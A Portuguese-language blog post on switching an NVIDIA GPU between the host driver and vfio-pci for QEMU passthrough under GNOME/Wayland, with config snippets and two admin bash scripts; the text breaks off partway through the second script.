<p>Desde 2023 isso funciona super bem. Eu tenho um script chamado <code>nvidia-locker</code> que tá no outro artigo. Se eu quiser rodar LLMs ou Blender no meu Linux nativo, rodo esse script e ele tira o vfio-pci e recolocar o driver da NVIDIA em tempo real, sem precisar rebootar. Daí quando termino e eu preciso bootar no Windows, rodo o script de novo e ele descarrega o driver também em tempo real, possibilitando passar via PCI Passthrough pra VM do QEMU. Tudo bonito.</p>
<p>Isso é, até poucos meses atrás, quando o Arch e Manjaro atualizaram pra trocar o antigo legado do <strong>Xorg pra Wayland</strong>. Hoje em dia Wayland é bem mais estável, os portals dele funcionam direitinho e eu consigo usar webcam, microfone, tablet e tudo mais sem nenhum problema. Tudo funciona e, teoricamente, Wayland é pra ser melhor. O novo GNOME 48 também ficou muito bom, com suporte a HDR e tudo mais. Enfim, tá tudo bonitão mesmo, recomendo.</p>
<p>Menos pra combinação de GNOME/Wayland com GPU NVIDIA especificamente nesse cenário de PCI Passthrough pra VM. Em resumo: o boot continua normal, vfio-pci carrega e esconde a GPU da NVIDIA. Meu script <code>nvidia-locker</code> também consegue recarregar o driver da NVIDIA a quente. O problema é quando eu tento descarregar o driver pra abrir a VM: o GNOME não deixa.</p>
<p>O Wayland é super agressivo e assim que ele detecta que surgiu uma nova GPU, ele carrega o processo <code>gnome-shell</code> nessa GPU. E como tem um processo pendurado, não tem como tirar mais o driver a quente. Só rebootando, e isso é um saco.</p>
<p>Não tem solução fácil. Eu tentei dezenas de coisas diferentes como permissões, regras de UDEV, serviços de SystemD, opções de kernel mas nada impede a porcaria do processo <code>gnome-shell</code> ou <code>gjs</code> (portal de Flatpak) de se pendurarem na GPU.</p>
<p>Só tem um jeito, meio gambiarra:</p>
<ul>
<li>primeiro, configurar o GDM (que carrega o GNOME e é o processo pai) pra não auto-restartar automaticamente se morrer</li>
<li>segundo, ir pra outro TTY (Ctrl+Alt+F3, por exemplo), matar o GDM de lá e só assim descarregar o driver da NVIDIA.</li>
<li>terceiro, quando trocar o driver por vfio-pci, agora sim a GPU está desligada e dá pra reiniciar o GDM e logar novamente. Só um saco que os apps gráficos abertos vão morrer, mas é mais rápido do que um reboot inteiro do PC.</li>
</ul>
<h2>1 - desligar auto-restart do GDM<span class="hx:absolute hx:-mt-20" id="1---desligar-auto-restart-do-gdm"></span>
    <a href="#1---desligar-auto-restart-do-gdm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code># Disable GDM auto-restart
sudo mkdir -p /etc/systemd/system/gdm.service.d
sudo tee /etc/systemd/system/gdm.service.d/10-no-restart.conf &lt;&lt;EOF
[Service]
Restart=no
EOF

# Update systemd
sudo systemctl daemon-reload</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Essa config impede o GDM de auto-reiniciar. Agora eu consigo matar ela. Sem fazer isso, se eu matar a GDM, ela abre de novo rápido demais e não dá tempo de tirar o driver da NVIDIA antes.</p>
<h2>2 - Tentando evitar o Wayland de pegar a GPU<span class="hx:absolute hx:-mt-20" id="2---tentando-evitar-o-wayland-de-pegar-a-gpu"></span>
    <a href="#2---tentando-evitar-o-wayland-de-pegar-a-gpu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Isso o script de GPU-Passthrough-Manager teoricamente já faz, mas pra garantir é bom ter o seguinte:</p>
<p>Primeiro, em <code>/etc/modprobe.d/blacklist-nvidia.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>blacklist nvidia
blacklist nvidia_drm
blacklist nvidia_uvm
blacklist nvidia_peer_mem
blacklist nvidia_modeset
blacklist nvidia-nvlink
blacklist xhci_pci
blacklist ucsi_ccg
options nvidia NVreg_EnableGpuFirmware=0</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Segundo, em <code>/etc/modprobe.d/nvidia.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>options nvidia_drm modeset=0
options nvidia NVreg_InitializeSystemMemoryAllocations=0</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A opção modeset é pra tentar fazer o nvidia_drm não se pendurar na GPU, mas isso não funcionou também. É opcional, não sei se tem problema deixar ou tirar pra modeset=1 de novo. Acho que é mais importante isso se você usa o GPU da Nvidia como GPU primária onde realmente sua interface gráfica vai rodar, especialmente pra suportar o Wayland corretamente.</p>
<p>A outra tentativa é com regras de UDEV em <code>/etc/udev/rules.d/80-nvidia-composite.rules</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code># Unified NVIDIA/AMD GPU management
ACTION==&#34;add&#34;, SUBSYSTEM==&#34;drm&#34;, KERNEL==&#34;card*&#34;, ATTRS{vendor}==&#34;0x10de&#34;, \
    RUN&#43;=&#34;/bin/sh -c &#39;chmod 000 /dev/dri/%k; echo GNOME_MUTTER_IGNORE_DEVICE=1 &gt;&gt; /etc/environment&#39;&#34;

ACTION==&#34;add&#34;, SUBSYSTEM==&#34;drm&#34;, KERNEL==&#34;card*&#34;, ATTRS{vendor}==&#34;0x1002&#34;, \
    RUN&#43;=&#34;/bin/sh -c &#39;chmod 660 /dev/dri/%k; chown root:video /dev/dri/%k&#39;&#34;

# New critical addition:
ACTION==&#34;add&#34;, SUBSYSTEM==&#34;pci&#34;, ATTR{vendor}==&#34;0x10de&#34;, ATTR{class}==&#34;0x030000&#34;, ATTR{enable}=&#34;0&#34;</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A idéia é tentar mudar os atributos chmod pra 000, mas isso também não funcionou.</p>
<p>A última tentativa foi tentar um serviço Systemd em <code>/etc/systemd/system/nvidia-lock.service</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Unit]
Description=Hardened NVIDIA Lock
Before=display-manager.service
Conflicts=multi-user.target

[Service]
Type=oneshot
# Merge of both prepare scripts
ExecStart=/bin/sh -c &#39;echo 0 &gt; /sys/class/vtconsole/vtcon0/bind&#39;
ExecStart=/bin/sh -c &#39;echo 0 &gt; /sys/class/vtconsole/vtcon1/bind&#39;
ExecStart=/bin/sh -c &#39;chmod 000 /dev/dri/card0&#39;
ExecStart=/bin/sh -c &#39;for card in /dev/dri/card*; do [ &#34;$(cat /sys/class/drm/${card##*/}/device/vendor)&#34; == &#34;0x10de&#34; ] &amp;&amp; chmod 000 &#34;$card&#34;; done&#39;

[Install]
WantedBy=graphical.target</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Mesma idéia de tentar bloquear o Wayland via permissões mais duras, mas também não funcionou. Eu acho que não tem problemas eu deixar isso rodando mas podem pular pra próxima seção</p>
<h2>3. O que funcionou<span class="hx:absolute hx:-mt-20" id="3-o-que-funcionou"></span>
    <a href="#3-o-que-funcionou" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Depois de muito testar, agora eu tenho dois scripts (só pra ficar menor macarrônico). Eis o script <code>nvidia-unlock</code> que descarrega o driver da NVIDIA e tem que rodar de outro TTY diferente de onde roda o GDM:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="c1"># /usr/local/bin/nvidia-unlock - Improved version with session handling</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Store current TTY</span>
</span></span><span class="line"><span class="cl"><span class="nv">CURRENT_TTY</span><span class="o">=</span><span class="k">$(</span>tty <span class="p">|</span> sed <span class="s1">&#39;s/\/dev\/tty//&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">IS_GDM_RUNNING</span><span class="o">=</span><span class="k">$(</span>systemctl is-active gdm<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 1. Stop GDM gracefully</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="nv">$IS_GDM_RUNNING</span><span class="s2">&#34;</span> <span class="o">=</span> <span class="s2">&#34;active&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Stopping GDM...&#34;</span>
</span></span><span class="line"><span class="cl">  sudo systemctl stop gdm
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. Kill all graphical processes</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Terminating graphical sessions...&#34;</span>
</span></span><span class="line"><span class="cl">sudo pkill -9 -f <span class="s2">&#34;gnome-shell|gjs|Xwayland&#34;</span>
</span></span><span class="line"><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. Nuclear GPU unbind</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Removing PCI devices...&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;1&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/devices/0000:01:00.0/remove &gt;/dev/null
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;1&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/devices/0000:01:00.1/remove &gt;/dev/null
</span></span><span class="line"><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 4. Purge drivers</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Unloading NVIDIA modules...&#34;</span>
</span></span><span class="line"><span class="cl">sudo rmmod nvidia_drm nvidia_modeset nvidia_uvm nvidia 2&gt;/dev/null
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 5. Rescan PCI</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Rescanning PCI bus...&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;1&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/rescan &gt;/dev/null
</span></span><span class="line"><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 6. Restore GDM if it was running</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="nv">$IS_GDM_RUNNING</span><span class="s2">&#34;</span> <span class="o">=</span> <span class="s2">&#34;active&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Restarting GDM...&#34;</span>
</span></span><span class="line"><span class="cl">  sudo systemctl start gdm
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Return to original TTY</span>
</span></span><span class="line"><span class="cl">  sleep <span class="m">3</span> <span class="c1"># Wait for GDM to initialize</span>
</span></span><span class="line"><span class="cl">  sudo chvt <span class="nv">$CURRENT_TTY</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 7. Final verification</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> ! lsmod <span class="p">|</span> grep -q nvidia<span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;✅ NVIDIA GPU successfully unlocked&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;❌ Failed to fully unlock GPU&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Esse script mata todo mundo embaixo do GDM, o GNOME Shell, os programas gráficos abertos, tudo, então não deixe seu Libreoffice aberto sem salvar se rodar isso, vai matar tudo. Por isso tem que fazer Ctrl+Alt+F3 e rodar do terminal separado.</p>
<p>E agora, este é meu novo <code>nvidia-locker</code> :</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#!/bin/bash</span>
</span></span><span class="line"><span class="cl"><span class="c1"># nvidia-locker - Final working version with proper TTY handling</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get the directory where this script lives</span>
</span></span><span class="line"><span class="cl"><span class="nv">SCRIPT_DIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span><span class="nb">cd</span> <span class="s2">&#34;</span><span class="k">$(</span>dirname <span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_SOURCE</span><span class="p">[0]</span><span class="si">}</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> <span class="o">&amp;&amp;</span> <span class="nb">pwd</span><span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Configuration</span>
</span></span><span class="line"><span class="cl"><span class="nv">NVIDIA_GPU</span><span class="o">=</span><span class="s2">&#34;0000:01:00.0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">NVIDIA_AUDIO</span><span class="o">=</span><span class="s2">&#34;0000:01:00.1&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">PCI_PATH</span><span class="o">=</span><span class="s2">&#34;/sys/bus/pci/devices&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">DRM_PATH</span><span class="o">=</span><span class="s2">&#34;/dev/dri&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">UNLOCK_SCRIPT</span><span class="o">=</span><span class="s2">&#34;</span><span class="si">${</span><span class="nv">SCRIPT_DIR</span><span class="si">}</span><span class="s2">/nvidia-unlock&#34;</span> <span class="c1"># Look in same directory</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#  Core Functions </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">get_driver<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">local</span> <span class="nv">device</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$1</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[</span> -d <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$device</span><span class="s2">/driver&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    basename <span class="k">$(</span>readlink <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$device</span><span class="s2">/driver&#34;</span><span class="k">)</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> <span class="s2">&#34;none&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;none&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">is_gui_session<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1"># Returns true if running in a graphical session</span>
</span></span><span class="line"><span class="cl">  <span class="o">[</span> -n <span class="s2">&#34;</span><span class="nv">$DISPLAY</span><span class="s2">&#34;</span> <span class="o">]</span> <span class="o">||</span> <span class="o">[</span> -n <span class="s2">&#34;</span><span class="nv">$WAYLAND_DISPLAY</span><span class="s2">&#34;</span> <span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">print_status<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> -e <span class="s2">&#34;\nCurrent GPU Status:&#34;</span>
</span></span><span class="line"><span class="cl">  lspci -nnk -d 10de:2684
</span></span><span class="line"><span class="cl">  lspci -nnk -d 10de:22ba
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">load_vfio<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;🔒 Binding to vfio-pci...&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;vfio-pci&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_GPU</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;vfio-pci&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/bind &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/bind &gt;/dev/null
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">load_nvidia_headless<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;🔓 Loading NVIDIA in headless mode...&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Clear any existing overrides</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_GPU</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Load modules with headless options</span>
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia <span class="nv">NVreg_InitializeSystemMemoryAllocations</span><span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia_modeset
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia_uvm
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia_drm <span class="nv">modeset</span><span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Bind devices</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/nvidia/bind &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/nvidia/bind &gt;/dev/null
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Lock DRM nodes</span>
</span></span><span class="line"><span class="cl">  sudo chmod <span class="m">000</span> <span class="s2">&#34;</span><span class="nv">$DRM_PATH</span><span class="s2">/card0&#34;</span> 2&gt;/dev/null <span class="c1"># NVIDIA</span>
</span></span><span class="line"><span class="cl">  sudo chmod <span class="m">660</span> <span class="s2">&#34;</span><span class="nv">$DRM_PATH</span><span class="s2">/card1&#34;</span> 2&gt;/dev/null <span class="c1"># AMD</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#  Command Handlers </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">vm_mode<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">current_driver</span><span class="o">=</span><span class="k">$(</span>get_driver <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$current_driver</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;nvidia&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> is_gui_session<span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;⚠️  Please switch to TTY (Ctrl+Alt+F2) and run:&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;   sudo systemctl stop gdm &amp;&amp; sudo nvidia-unlock&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;⚠️  Already in TTY - running nvidia-unlock...&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="o">[</span> -x <span class="s2">&#34;</span><span class="nv">$UNLOCK_SCRIPT</span><span class="s2">&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">        sudo <span class="s2">&#34;</span><span class="nv">$UNLOCK_SCRIPT</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="nb">echo</span> <span class="s2">&#34;❌ Error: nvidia-unlock not found at </span><span class="si">${</span><span class="nv">UNLOCK_SCRIPT</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="nb">echo</span> <span class="s2">&#34;ℹ️  Make sure both scripts are in the same directory&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">      <span class="k">fi</span>
</span></span><span class="line"><span class="cl">    <span class="k">fi</span>
</span></span><span class="line"><span class="cl">    <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  load_vfio
</span></span><span class="line"><span class="cl">  print_status
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">host_mode<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">current_driver</span><span class="o">=</span><span class="k">$(</span>get_driver <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$current_driver</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;vfio-pci&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;🔄 Releasing vfio-pci binding...&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/unbind &gt;/dev/null
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/unbind &gt;/dev/null
